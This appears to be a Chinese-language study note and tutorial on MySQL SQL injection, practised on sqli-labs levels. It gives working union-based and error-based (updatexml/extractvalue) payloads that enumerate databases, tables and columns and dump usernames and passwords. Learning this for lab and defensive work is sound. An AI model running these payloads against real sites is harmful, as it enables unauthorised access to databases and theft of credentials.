一、常用语句
在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
二、思路
1.判断注入类型(数字or字符)
数字:输入?id=1 and 1=1正常,输入?id=1 and 1=2后报错,说明是数字型
字符:
(1)输入?id=1'报错:输入?id=1'--+正常,接下来输入?id=1' and '1'='2报错,说明是单引号注入;输入?id=1'--+报错,接下来尝试"及其他。
(2)输入?id=1'正常:说明不是单引号注入,尝试双引号注入,输入?id=1"报错,再输入?id=1"--+,正常,再输入 ?id=1" and "1"="2 报错,说明是双引号注入
以下皆以单引号注入为例
2.联合查询(union注入)
(1)判断注入点
(2)爆字段数
?id=1' order by 4--+
依次递增,报错可确定字段数
(3)判断显示位
(三个字段)
?id=-1' union select 1,2,3--+
(4)爆库名
(2,3为回显位)
?id=-1' union select 1,version(),database()--+
(5)爆表名
(数据库为cyy)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='cyy'--+
(6)爆表中字段
(要用的表为users)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
(7)爆相应字段的所有数据
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users--+
3.报错注入
(1)判断是否报错
参数中添加单/双引号,页面报错才可进行下一步
(2)查询数据库版本
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+
(3)爆库名
?id=1" or extractvalue(1,concat(0x7e,(select database()),0x7e))%23
(4) 查询数据库的数据表有哪些
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
(5)查询表的字段有哪些
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
?id=1' or extractvalue(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32))%23 //右侧末位32字符
(6)查询数据
?id=1' and extractvalue(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e))%23
?id=1' and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))%23
练习:
less-3
判断注入类型
单引号报错但加--+也报错,尝试别的类型
发现是')
判断出有三个字段
查回显位
爆出库名security
爆表名
查询表中字段
最后查看数据
less-6
判断注入类型为字符型,注入点为"
列数为3
没显示回显位,联合查询用不了,尝试使用报错注入(报错注入不许判断字段数)
爆数据库名
查询表名
查询表的字段
查询数据